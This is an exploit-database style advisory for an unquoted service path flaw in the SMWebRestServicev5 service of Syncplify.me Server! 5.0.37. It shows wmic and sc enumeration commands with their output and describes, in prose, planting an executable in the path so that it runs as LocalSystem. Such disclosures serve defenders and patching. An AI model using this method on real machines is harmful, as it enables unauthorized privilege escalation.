Syncplify.me server! 5.0.37 smwebrestservicev5 unquoted service path Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-11-09 | Type : local | Platform : windows
This exploit / vulnerability Syncplify.me server! 5.0.37 smwebrestservicev5 unquoted service path is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: Syncplify.me Server! 5.0.37 - 'SMWebRestServicev5' Unquoted Service Path
# Date: 2020-11-08
# Exploit Author: Julio Aviña
# Vendor Homepage: https://www.syncplify.me/
# Software Link: https://download.syncplify.me/SMServer_Setup.exe
# Version: 5.0.37
# Tested on: Windows 10 Pro x64 es
# Vulnerability Type: Unquoted Service Path


# 1. To find the unquoted service path vulnerability

C:\>wmic service where 'name like "%SMWebRestServicev5%"' get displayname, pathname, startmode, startname

DisplayName PathName StartMode StartName
Syncplify.me Web/REST Server! v5 C:\Program Files\Syncplify\Syncplify.me Server!\SMWebRestSvc.exe Auto LocalSystem

# 2. To check service info:

C:\>sc qc "SMWebRestServicev5"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: SMWebRestServicev5
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 1 NORMAL
NOMBRE_RUTA_BINARIO: C:\Program Files\Syncplify\Syncplify.me Server!\SMWebRestSvc.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : Syncplify.me Web/REST Server! v5
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem


# 3. Exploit:

A successful attempt to exploit this vulnerability requires the attacker to insert an executable file into the service path undetected by the OS or some security application.
When restarting the service or the system, the inserted executable will run with elevated privileges.